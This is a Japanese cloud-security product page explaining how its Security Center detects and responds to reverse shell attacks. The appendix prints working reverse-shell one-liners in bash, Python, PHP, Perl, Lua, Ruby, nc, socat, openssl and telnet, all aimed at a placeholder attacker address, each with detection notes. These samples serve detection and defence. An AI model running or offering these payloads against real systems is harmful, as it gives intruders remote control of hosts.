すべてのプロダクト
Search
ドキュメントセンター

Security Center:リバースシェル攻撃の検知と対処

最終更新日:Jun 02, 2026

Security Center は、多次元分析 (ファイルディスクリプタの監視、コマンドシーケンス分析、プロセスチェーンの検査、悪意のあるファイル分析、ネットワークトラフィック分析) によってリバースシェル攻撃を検知し、既知および新規の侵入技術の双方を特定して、クラウド資産を保護します。

リバースシェルとは

リバースシェルは一般的な侵入技術です。攻撃者は、脆弱性または弱いパスワードによってサーバーへの初期アクセスを得た後、リバースシェルを配置し、侵害されたサーバー (クライアント) から攻撃者が制御するサーバー (サーバー) へ戻る形で、秘匿された通信トンネルを確立します。

これにより、主に次の 2 つの脅威が生じます。

  • ファイアウォール制限の回避:接続はサーバーから開始されるため、インバウンドトラフィックのみを制限するファイアウォールを回避します。攻撃者はその後、リモートからコマンドを実行できます。

  • 永続的なコントロールの確立:インタラクティブシェルにより、攻撃者はデータの窃取、ランサムウェアのインストール、ラテラルムーブメント、またはサーバーを踏み台にした他システムへの攻撃を実行できます。

仕組み

中核となる考え方

Security Center は、次の中核原則に基づく多層システムにより、シグネチャベースの検知を超える検知を実現します。

  • 従来のシグネチャに依存しない:正規表現など不安定な静的シグネチャではなく、攻撃の本質的な振る舞いに着目します。

  • 多次元データ収集:ホストエージェントは、プロセスアクティビティ、ファイルアクセス、ネットワーク接続、カーネル呼び出しなどのリアルタイムデータを収集します。

  • クラウドベースのインテリジェント分析:クラウドベースのビッグデータプラットフォームが相関分析と行動モデリングを実行し、クロスバリデーションを可能にします。

この多層防御システムは、クラウドとエンドポイントの分析を組み合わせることで、既知および未知の攻撃を高精度で検知します。

Security Center multi-dimensional reverse shell detection architecture

主要な検知技術

検知システムは、複数の技術を使用して異なる次元から攻撃の振る舞いを再構成し、クロスバリデーションを行います。

  • ファイルディスクリプタ (FD) 分析

    • 検知原理と方法:プロセスのファイルディスクリプタをリアルタイムで監視します。シェルプロセスの標準I/Oがネットワークソケットにリダイレクトされると、直ちにアラートがトリガーされます。

    • 主な検知対象: I/O リダイレクションを使用する bash -i >& /dev/tcp/... などのコマンドで直接起動されるリバースシェル。

  • 異常なコマンドシーケンス分析

    • 検知原理と方法:ビッグデータプラットフォームを使用してサーバーの正常なコマンドシーケンスのベースラインを確立します。既知の攻撃パターン (偵察や権限昇格など) に一致する異常なシーケンスが検知されると、高リスクとしてマークされます。

    • 主な検知対象:明確なシェルプロセスの特徴がない Python や Perl などのスクリプト言語によって実装されるリバースシェル、およびその後のラテラルムーブメント。

  • 異常なプロセス起動チェーン分析

    • 検知原理と方法:プロセスの親子関係、起動パラメーター、ユーザーコンテキスト、過去の振る舞いを分析し、Web サービスなどの異常な親プロセスによって起動される非対話型シェルを特定します。

    • 主な検知対象:通常のサービストラフィックに隠蔽されたWeb脆弱性によってトリガーされるリバースシェル。

  • 悪意のあるファイルの詳細分析

    • 検知原理と方法:

      • スクリプトサンドボックス:Bash、Python、JAR など永続化されたスクリプトに対して、動的トレースと静的逆コンパイルを実行し、難読化コードに含まれる悪意のあるロジックを特定します。

      • バイナリサンドボックス:C/C++、Go、Meterpreter などのコンパイル済みプログラムに対して、インポート関数、コード構造、ネットワーク接続などの動的挙動を分析します。

    • 主な検知対象:高度に難読化または暗号化されたスクリプト型のトロイの木馬、C/C++ や Go で作成された、または Meterpreter によって生成されたコンパイル済みリバースシェルプログラム。

  • 敵対的なネットワークトラフィック特徴の検知

    • 検知原理と方法:ネットワークトラフィックを分析してインタラクティブシェルの通信特徴を検出し、システムシェルの置き換えやコマンドのエンコードなど、一般的な回避テクニックを検知します。

    • 主な検知対象:既知の攻撃パターンと回避テクニックのカバレッジを高めるための補助的な手法として機能します。

対応計画

リバースシェル対策は、検知の有効化、アラートの分析、緊急対応の 3 段階で構成されます。

リバースシェル検知の有効化

Security Center の Enterprise Edition 以降を有効化しており、対象サーバーにエージェントがインストールされてオンラインの場合、リバースシェル検知はデフォルトで有効です。

アラートの分析と解釈

セキュリティセンターで不審なリバースシェルアクティビティが検出された場合は、脅威の分析と応答 > セキュリティアラートまたはレスポンス検出 > セキュリティアラートに移動し、リバースシェルアラートの詳細を開きます。次の点に注目します。

  • 脅威レベル:通常は Critical であり、直ちに注意して対処する必要があることを示します。

  • プロセス情報:アラートの原因となったプロセスパスとコマンドラインパラメーターを表示します。たとえば、www-data によって開始された /bin/bash -i プロセスは、典型的な高リスクの兆候です。

  • 親プロセス情報:疑わしいプロセスの発生元を表示し、攻撃経路の追跡に役立ちます。たとえば、親プロセスが Web サーバー (Apache または Nginx) の場合、攻撃は Web 脆弱性に起因する可能性が高いと考えられます。

  • アウトバウンド接続情報:存在する場合は、疑わしいプロセスが接続したリモート IP アドレスとポートを表示します。この IP アドレスは、攻撃者が制御するサーバーを特定する手掛かりになります。

アラートの対処

アラート詳細ページで、リスク評価に基づいて次の操作を実行します。セキュリティアラートの評価と対処

  • [ウイルスの検出と除去]ウイルスプロセスを停止し、ウイルスファイルを隔離に移動します。隔離されたファイルは、実行、アクセス、拡散ができません。

  • [Quarantine]実行中のプロセスを停止せずに、疑わしいファイルのみを隔離に移動します。

  • プロセスの終了:アラートに関連付けられた悪意のあるプロセスを直ちに停止し、攻撃を迅速に遮断します。

  • [Add to Whitelist]アラートが通常の運用や業務スクリプトによる誤検知の場合は、該当項目をホワイトリストに追加します。

    説明

    ファイルパスまたは MD5 ハッシュに基づいてホワイトリストルールを設定し、同様のイベントでアラートがトリガーされないようにします。

セキュリティ強化

  1. ネットワーク接続のブロック

    • アラート詳細で攻撃者の IP アドレスを確認します。

    • セキュリティグループルールを設定し、この IP アドレスからのすべてのインバウンドおよびアウトバウンドアクセスを拒否して、攻撃者の接続を完全に遮断します。

  2. 永続的なバックドアの削除

    攻撃者は通常、永続化メカニズムを設定します。サーバーにログオンして調査してください。

    • スケジュールされたタスクの確認crontab -l -u <user> を実行して不審なエントリを確認します (<user> は、rootwww-data など、不審なプロセスを実行しているユーザーです)。 悪意のあるエントリは crontab -e で削除します。

    • 悪意のあるファイルの削除:アラートに記載されたファイルパスを使用して、悪意のあるスクリプトまたはバイナリを特定して削除します。

  3. フルスキャンの実行とサーバーの強化

    • セキュリティセンターコンソールで、保護設定 > ホスト保護 > ウイルスの検出と除去 を使用して、サーバーのフルスキャンとバックドア検出を実行します。

    • サーバーのセキュリティ脆弱性を修正し、攻撃の侵入口を排除します。

コストとリスク

  • 料金体系: リバースシェル検知は Security Center の各エディションに含まれており、追加費用はかかりません。詳細なサービスログ分析を行うには、Log Management または Log Analysis の付加価値機能を購入する必要があります。

  • 主なリスク:

    • 緊急対応中に、プロセスの終了や設定変更などの操作を行うと、通常の業務に影響する場合があります。変更を行う前に、サーバースナップショット を作成してください。

    • あらゆる検知ソリューションが完全であるとは限りません。未知の手法を用いた高度にカスタマイズされたゼロデイ攻撃は、検知を回避する可能性があります。多層防御は引き続き重要です。脆弱性に迅速にパッチを適用し、最小権限を適用し、厳格なネットワークポリシーを徹底してください。

付録:リバースシェルの分類と例

以下に示す一般的なリバースシェル攻撃の例は、Security Center の検知範囲を示し、セキュリティ担当者が保護の有効性を確認するのに役立ちます。

警告
  • これらの例は、これらの攻撃タイプに対する Security Center の検知範囲を示すものであり、セキュリティ担当者がアラートを理解し、保護を検証するのに役立ちます。

  • 許可されていない環境でこのコードを使用または実行しないでください。これに起因する法令違反、リスク、責任は、すべてお客様が負うものとします。

タイプ 1:直接的な I/O リダイレクション

  • 基本原則: このタイプのリバースシェルは、bash -i の標準入力、標準出力、および標準エラーを /dev/tcp ソケットにリダイレクトすることで、ネットワーク経由で通信します。

    image
  • 検知アプローチ:ファイルディスクリプタ (FD) 分析。この手法では、プロセスの FD テーブルを監視し、シェルプロセスの標準 I/O がネットワークソケットにリダイレクトされているかどうかを検知します。

  • 検知シナリオ例:

    • 例 1:

      # 例 1 (bash I/O リダイレクション):
      bash -i >& /dev/tcp/[ATTACKER_IP]/[PORT] 0>&1
      • 動作の説明:

        • /dev/tcp 機能を使用して、リモートホストへの TCP 接続を確立します。

        • bash の標準入力、標準出力、標準エラー出力をこのネットワーク接続にリダイレクトし、リモートのインタラクティブシェルを実現します。

      • 検知ロジック: FD 分析により、セキュリティセンターは /bin/bash プロセスの 0/1/2 ファイル記述子がネットワークソケットを指していることを検知すると、リバースシェルアラートがトリガーされます。

    • 例 2:

      # 例 2 (Python リダイレクション):
      python -c '
        import socket, subprocess, os
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("[ATTACKER_IP]", [PORT]))
        os.dup2(s.fileno(), 0)  # stdin をソケットにリダイレクト
        os.dup2(s.fileno(), 1)  # stdout をソケットにリダイレクト
        os.dup2(s.fileno(), 2)  # stderr をソケットにリダイレクト
        subprocess.call(["/bin/sh", "-i"])
        '
      • 動作の説明:

        • Python を使用してリモートホストに能動的に接続し、現在のプロセスの標準入力、標準出力、標準エラー出力をその接続にリダイレクトします。

        • 次に、子プロセスとして /bin/sh -i を起動し、対話型シェルを確立します。

      • 検知ロジック:

        • FD 分析は /bin/sh とソケットの間のリダイレクト関係をキャプチャします。

        • 異常なプロセスチェーン分析は、python によって開始されたインタラクティブシェルプロセスを、高リスクな動作として識別します。

    • 例 3:

      # PHP リバースシェル
      php -r '$sock=fsockopen("[ATTACKER_IP]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'
      • 動作の説明:

        • PHP の fsockopen 関数を使用して、リモートホストに能動的に接続します。この接続により、ファイル記述子 (通常は 3) を取得します。

        • 次に、/bin/sh -i プロセスを実行し、その標準入力、標準出力、および標準エラーをファイル記述子 3 に明示的にリダイレクトします。これにより、対話型シェルが確立されたネットワーク接続にバインドされます。

      • 検知ロジック:

        • FD 分析では、 /bin/sh とソケット (FD 3) とのリダイレクト関係がキャプチャされます。これは、標準入力、標準出力、および標準エラー出力がすべて、ターミナルや通常ファイルではなくネットワーク接続を指していることを示しています。

        • 異常なプロセスチェーン分析により、php プロセスが exec を使用してインタラクティブな /bin/sh を起動し、シェルの I/O が外部ネットワークソケットにバインドされることが判明します。この「スクリプトインタープリター → リモート接続 → インタラクティブシェル」というプロセスチェーンは、高リスクなリモートコントロールの挙動の特徴です。

    • 例 4:

      # Perl リダイレクション例
      perl -e 'use Socket;$i="[ATTACKER_IP]";$p=[PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
      • 動作の説明:

        • Perl の Socket モジュールを使用して TCP ソケットを作成し、[ATTACKER_IP]:[PORT] に能動的に接続します。

        • 接続に成功すると、現在のプロセスの STDINSTDOUT、および STDERR をソケットハンドル S にリダイレクトし、その後 exec("/bin/sh -i") を使用して対話型シェルを起動します。

      • 検知ロジック:

        • FD 解析により、/bin/sh の標準入力、標準出力、および標準エラーが、通常の端末やファイルではなく、すべて同一のネットワークソケット (S) を指していることが判明します。これは、明確な「シェルからソケットへのリダイレクト」関係を示しています。

        • 異常なプロセスチェーン分析では、perl プロセスがリモートソケットを作成して接続し、次に /bin/sh -i を実行するという挙動チェーンが検出されます。これはスクリプト駆動のリバースシェルであり、リスクの高いリモートコントロールパターンです。

    • 例 5:

      # Lua リダイレクション例
      lua -e 
      "require('socket');require('os');t=socket.tcp();t:connect('[ATTACKER_IP]','[PORT]');os.execute('/bin/sh -i <&3 >&3 2>&3');"
      • 動作の説明:

        • Lua の socket ライブラリを使用して、リモートホストに能動的に接続します。この接続により、ファイルディスクリプタ (通常は 3) を取得します。

        • 外部コマンド /bin/sh -i を、os.execute を使用して実行し、その標準入力、標準出力、および標準エラーをそのファイル記述子に明示的にリダイレクトします。これにより、対話型のリバースシェルが確立されます。

      • 検知ロジック:

        • FD 分析は、 /bin/sh とネットワークソケット (FD 3) の間の入出力リダイレクトの関係をキャプチャします。これは、シェルのすべての I/O が TCP 接続に接続されていることを示します。

        • 異常なプロセスチェーン分析では、lua インタープリターによって開始されたインタラクティブシェルプロセスが、リスクの高い動作として識別されます。

タイプ 2:パイプまたは疑似端末による中継

  • 中核原理:このタイプは パイプ または 疑似端末 (PTY) を中継として使用します。シェルの I/O は最初に中継にリダイレクトされ、その後、別プロセスが中継をネットワークソケットに接続します。派生形では、データが複数層の中継を経由し、最終的に完全なリモート制御チャネルを形成する場合があります。

    image
  • 検知アプローチ:FD リンクトレースとプロセス関係分析。この手法では、データストリームが流れる完全な FD リンクをトレースし、パイプまたは PTY を介してネットワークソケットに接続する異常なプロセスチェーンを特定します。

  • 検知シナリオ例:

    • 例 1:

      # 名前付きパイプと暗号化チャネルによる中継
      mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect [ATTACKER_IP]:666 > /tmp/f
      • 動作の説明:

        • mkfifo を使用して、シェルの入出力の中間媒体として機能する名前付きパイプ /tmp/revpipe を作成します。

        • /bin/sh -i への入力はこのパイプから供給され、その出力は openssl s_client を経由してリモートホストに送信されます。

        • これにより、「シェル ↔ パイプ ↔ 暗号化されたネットワーク接続」という多層の中継リンクを形成します。

      • 検知ロジック:

        セキュリティセンターは、FD リンクトレースとプロセス関係分析を使用して、/bin/shopenssl が最終的にリモートソケットを指すパイプを介して接続されていることを特定し、リバースシェルの動作を検出します。

    • 例 2:

      # nc / socat の混在例
      # netcat を使用してリモートホストに接続
      nc [ATTACKER_IP] 5050
      
      # netcat を使用して /bin/bash を実行
      nc -e /bin/bash [ATTACKER_IP] 6060
      
      # netcat と bash を使用してインタラクティブなリバースシェルを作成
      nc -c bash [ATTACKER_IP] 6060
      
      # socat を使用して疑似端末を作成し、リモートホストに接続
      socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[ATTACKER_IP]:6060
      • 動作の説明:

        • ncsocat などのツールは、ローカルシェルをリモート TCP 接続に直接関連付けることで、リバースシェルを形成できます。

        • pty パラメーターを使用して擬似端末を作成すると、動作が通常の端末セッションとより類似したものになり、検知がより困難になります。

      • 検知ロジック:

        • FD リンクトレースにより、シェルとネットワークソケット間のパイプまたは疑似端末リンクを特定します。

        • pty を使用するシナリオでは、プロセスの親子関係とネットワークアクセスパターンの包括的な分析が必要です。

    • 例 3:

      # mknod 名前付きパイプ 
      mknod backpipe p; nc [ATTACKER_IP] 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe
      • 動作の説明:

        • シェル入出力の中間媒体として名前付きパイプ backpipe を作成するために mknod backpipe p を使用します。

        • nc プロセスはリモートホストに接続し、その入力はこのパイプからリダイレクトされます。

        • nc [ATTACKER_IP] 6060 0<backpipe は、backpipe を nc の標準入力として使用し、リモート側からコマンドを受信してパイプに書き込みます。

        • /bin/bash の標準出力と標準エラーはどちらも backpipe にリダイレクトされた後、nc によってリモートエンドに送信されます。

      • 検知ロジック:

        • FD リンク追跡は、/bin/bashnc が名前付きパイプを介して関連付けられ、最終的にリモートソケットに接続することを検出できます。

        • 名前付きパイプファイル (backpipe など) が、シェルとネットワークツールの双方から同時にオープンされている場合は、高リスクのリンクとなります。

        • システムは、プロセスの親子関係 (Web サービスやスケジュール済みタスクによって起動された nc または bash プロセスなど) と、異常なアウトバウンド接続の振る舞いを組み合わせて判定します。

    • 例 4:

      # Bash 組み込みファイルを使用して接続を確立
      bash -c 'exec 5<>/dev/tcp/[ATTACKER_IP]/6060;cat <&5|while read line;do $line >&5 2>&1;done'
      • 動作の説明:

        • Bash 組み込みの /dev/tcp 疑似ファイルを使用して、リモートホストのポート 6060 への TCP 接続を直接確立し、それをファイルディスクリプタ 5 にバインドします。

        • cat <&5 はリモートソケットからコマンドを読み取り、パイプを介して実行のために while read line; do $line ... ループに渡されます。

        • 各コマンドの標準出力と標準エラー出力は FD 5 (元の TCP 接続) にリダイレクトされ、リモート側に返されます。

        • 全体として、この挙動は「組み込み TCP チャネル + コマンド実行ループ」を純粋に Bash で実装したものであり、明確な外部ツールを使用しないリバースまたはリモート制御の振る舞いです。

      • 検知ロジック:

        • FD 解析により、Bash プロセスがリモート IP アドレスまたはポートを指すソケット FD (/dev/tcp 経由で確立されたもの) を直接保持していることが判明します。

        • 異常なコマンドシーケンス分析:単一の Bash プロセスが長時間のアウトバウンド接続を維持し、多数のシステムコマンドを実行します。

    • 例 5:

      telnet [ATTACKER_IP] 6060 | /bin/bash | telnet [ATTACKER_IP] 5050
      • 動作の説明:

        • これにより、2 つのパイプで 2 つの telnet プロセスと 1 つの bash プロセスを接続するコマンドリレーチャネルが作成されます。

        • 最初の telnet プロセスは、リモートホストからコマンドを受信し、 bash に転送して実行させます。

        • その後、bash の実行結果は、2 番目の telnet プロセスを介して別のリモートアドレスに送信されます。

        • 入出力は異なるネットワーク接続で処理されます。この方法は、実際の制御エンドポイントの隠蔽や、多段中継による転送に利用でき、追跡と検知が難しくなります。

      • 検知ロジック:

        • 異常なプロセスチェーン分析により、次の極めて異常な呼び出し関係が明らかになります: telnet -> bash -> telnet

        • telnet のような従来の対話型ツールでは、プロセスチェーン (telnet プロセスがバイパスして bash にアタッチすること) と、宛先 IP アドレスまたはポートにおける異常なパターンを組み合わせて検知します。

        • ローカル端末の TTY が対応しない状態で、bash プロセスとネットワークプロセスの間に長時間のパイプ関係が存在する場合は、疑わしいリモートシェルセッションとしてマークされます。

    • 例 6:疑似端末を使用した中継。このタイプは検知がより難しく、包括的なコンテキスト分析が必要です。

      # Python 疑似端末を使用した中継
      python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACKER_IP]",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
      • 動作の説明:

        • FD リダイレクトの完了後、/bin/sh -i を直接実行する代わりに、pty.spawn を使用して擬似端末で bash を起動します。

        • 疑似端末により、リバースシェルは実際のログインセッション (SSH やscreenセッションなど) に近い挙動となり、攻撃の秘匿性が高まります。

      • 検知ロジック:

        • FD 分析でも、bash とネットワークソケットの関連付けを特定できます。

        • 同時に、通常の運用端末と混同しないよう、プロセスコンテキスト (親プロセスが Python) と ネットワーク通信パターン を組み合わせる必要があります。

タイプ 3:スクリプト言語への埋め込み実行

  • 基本原則: シェルリダイレクション機能を直接使用する代わりに、ロジックは Python や Ruby などのスクリプト言語内で実装されます。コードはネットワークコマンドを受信し、subprocessexec などの関数を呼び出してそれらを実行し、結果を返します。

  • 検知アプローチ:行動シーケンス分析と異常起動モデル。攻撃ロジックがコードに包まれているため、検知にはより上位の分析が必要です。シェル取得後の偵察行動などの異常な コマンドシーケンス を分析するか、Web サービスなどの異常な親プロセスによって起動されるシェルを特定することで、脅威を検知します。

  • 検知シナリオ例:

    • 例 1:

      # Python に埋め込まれたコマンド実行ループ
        python -c '
        import socket, subprocess
        s = socket.socket()
        s.connect(('[ATTACKER_IP]', [PORT]))
        while True:
            cmd = s.recv(1024)                       # リモートホストからコマンドを受信
            proc = subprocess.Popen(
                cmd,
                shell=True,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                stdin=subprocess.PIPE
            )
            s.send(proc.stdout.read() + proc.stderr.read())  # コマンド実行結果を返送
        '
      • 動作の説明:

        この例では、明示的にシェルプロセスを起動しません。代わりに Python プロセス内で次を実行します。

        • ネットワーク接続からコマンドを継続的に読み取ります。

        • subprocess.Popen を使用してシステムコマンドを実行します。

        • 標準出力と標準エラー出力をネットワーク経由でリモートホストに返送します。

        • 外部的には「永続的な接続 + コマンド実行エンジン」のように振る舞い、トロイの木馬やリモート制御プログラムの振る舞いパターンに近くなります。

      • 検知ロジック:

        このタイプの攻撃は、明確なシェルのリダイレクション特徴がないことが多く、次の点に依存します。

        • 異常なコマンドシーケンス分析:短時間に多数の偵察コマンドや権限昇格コマンドを実行するなど。

        • 異常なプロセス起動チェーン分析:Python プロセスの親プロセスが Web サーバーなど想定外のコンポーネントの場合は、高リスクとしてマークされます。

    • 例 2:

      # Lua に埋め込まれたコマンド実行ループ
      lua5.1 -e 'local host, port = "[ATTACKER_IP]", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
      • 動作の説明:

        • Lua プロセスは、socket ライブラリを使用してリモートホストに能動的に接続し、永続的な接続を確立します。

        • ループ内で、プロセスはネットワーク接続からコマンドを継続的に受信し、io.popen を呼び出して子プロセスを作成して各コマンドを実行します。

        • コマンド実行結果の全体をリモートホストに返送します。この振る舞いパターンは例 1 と非常に類似しており、Lua ベースのリモートコマンド実行バックドアを形成します。

      • 検知ロジック:

        • 異常なコマンドシーケンス分析:短時間に連続して実行されるコマンドを監視し、そのシーケンスが偵察や権限昇格などの攻撃パターンに一致するかどうかを判定します。

        • 異常なプロセス起動チェーン分析:Lua プロセスが Web サーバー (OpenResty または Nginx) など想定外の親プロセスによって起動されている場合は、高リスクとしてマークされます。

    • 例 3:

      ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[ATTACKER_IP]","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
      • 動作の説明:この Ruby スクリプトは、秘匿性を意図しています。

        • まず、スクリプトは exit if fork を使用して子プロセスを作成し、親プロセスを終了させます。これにより、バックドアプロセスは現在の端末から切り離された状態でバックグラウンドで実行できます。

        • その後、子プロセスはリモートホストに接続し、ループでコマンドを受信し、IO.popen を使用してそれらを実行し、結果を返信します。この「バックグラウンド化」は、一般的な永続化およびステルス技術です。

      • 検知ロジック:

        • 異常なプロセス動作の分析: 親プロセスが fork の直後に終了する動作に焦点を当てます。これは、トロイの木馬プログラムがバックグラウンドデーモンプロセスを作成する際の特徴です。

        • 異常なプロセス起動チェーン分析:バックグラウンドの Ruby プロセスと親プロセスの関係を分析します。

        • 異常なコマンドシーケンス分析:その後に実行されるコマンドに対して関連分析を実行します。

よくある質問

  • 従来の検知方法が失敗しやすいのはなぜですか。

    従来の方法は、正規表現を使用してコマンドログとトラフィックログ内の特徴を照合します。これには次の 3 つの主な制約があります。

    • ログ収集の不完全性:パイプやリダイレクションが使用されると、従来のログ収集では攻撃コマンドの全体を取得できない場合があります。

    • ルールの回避が容易:攻撃者は、エンコード、難読化、その他の手法を使用して、固定文字列または正規表現ベースのルールを回避します。

    • 暗号化トラフィック:攻撃トラフィックが暗号化されると、ネットワークベースの検知方法は有効に機能しません。

  • Security Center のリバースシェル検知は 100% の精度を実現できますか。

    いいえ。100% の精度を保証できるセキュリティソリューションはありません。攻撃と防御の技術は常に進化します。特に、プログラミング言語 (タイプ 3) で実装される高度なリバースシェルは、通常の業務スクリプトに似ているため、検知が困難です。Security Center は多次元分析と行動モデルにより検知を強化しますが、セキュリティは継続的な攻防のプロセスです。

  • 疑似端末 (PTY) を使用するリバースシェルは、なぜ検知が難しいのですか。

    シェルプロセスから見ると、その I/O は、通常の SSH ログイン、screen セッション、コンテナターミナルと同様に、疑似端末デバイスにリダイレクトされます。これにより、悪意のある動作と通常の操作を区別することが困難になります。Security Center は、プロセスログとネットワークログを組み合わせて包括的な分析を実行し、フォールスネガティブとフォールスポジティブのバランスを取ります。